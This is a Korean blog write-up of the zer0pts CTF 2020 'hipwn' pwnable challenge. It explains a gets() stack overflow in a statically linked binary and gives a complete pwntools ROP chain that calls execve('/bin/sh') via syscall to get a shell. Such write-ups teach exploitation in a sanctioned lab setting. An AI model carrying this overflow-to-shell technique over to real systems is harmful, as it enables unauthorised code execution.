SDJ( 수돈재 아님 ㅎ )

zer0pts ctf 2020 - hipwn 본문

write-up/pwnable

zer0pts ctf 2020 - hipwn

ShinDongJun 2020. 3. 10. 15:39

utctf끝나고 참가하지 못했던 zer0ctf의 pwn도 풀어보고자 바이너리를 찾아봤다.

 

 

hipwn은 기본적은 warmup 문제다..

보호기법은 Partial RELRO에 NX가 활성화 되어있다.

 

hipwn은 statically linked 되어있기 때문에 syscall을 통해 exploit을 진행해야 한다.

 

문제에서 주어진 main.c를 보면 gets함수에서 bof가 발생하는 것을 볼 수 있다.

 

간단하게 execve("/bin/sh", 0, 0)을 실행시키는 코드를 만들어서 실행시키면 쉘을 딸 수 있다.

 

exploit code

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
 
= process("./chall")
 
mov_prdi_rax = 0x0000000000400704 # mov qword ptr [rdi], rax
 
bin_sh = 0x68732f6e69622f2f
bss = 0x0000000000604D14
 
pop_rax = 0x0000000000400121
pop_rdi = 0x000000000040141c
pop_rsi_r15 = 0x000000000040141a
pop_rdx = 0x00000000004023f5
syscall = 0x00000000004003fc
 
pay = ''
pay += 'a'*0x108
pay += p64(pop_rax)
pay += p64(bin_sh)
 
pay += p64(pop_rdi)
pay += p64(bss)
 
pay += p64(mov_prdi_rax)    # [rdi] = "//bin/sh"
 
pay += p64(pop_rax)
pay += p64(59)
 
pay += p64(pop_rsi_r15)
pay += p64(0)
pay += p64(0)
 
pay += p64(pop_rdx)
pay += p64(0)
pay += p64(syscall)    # execve("/bin/sh", 0, 0)
 
p.sendline(pay)
 
 
p.interactive()

 

 

'write-up > pwnable' 카테고리의 다른 글

zer0pts ctf 2020 - protrude  (0) 2020.03.11
zer0pts ctf 2020 - diylist  (0) 2020.03.10
utctf 2020 - zurk  (0) 2020.03.09
utctf 2020 - Cancelled  (0) 2020.03.09
utctf 2020 - zurk  (0) 2020.03.09
Comments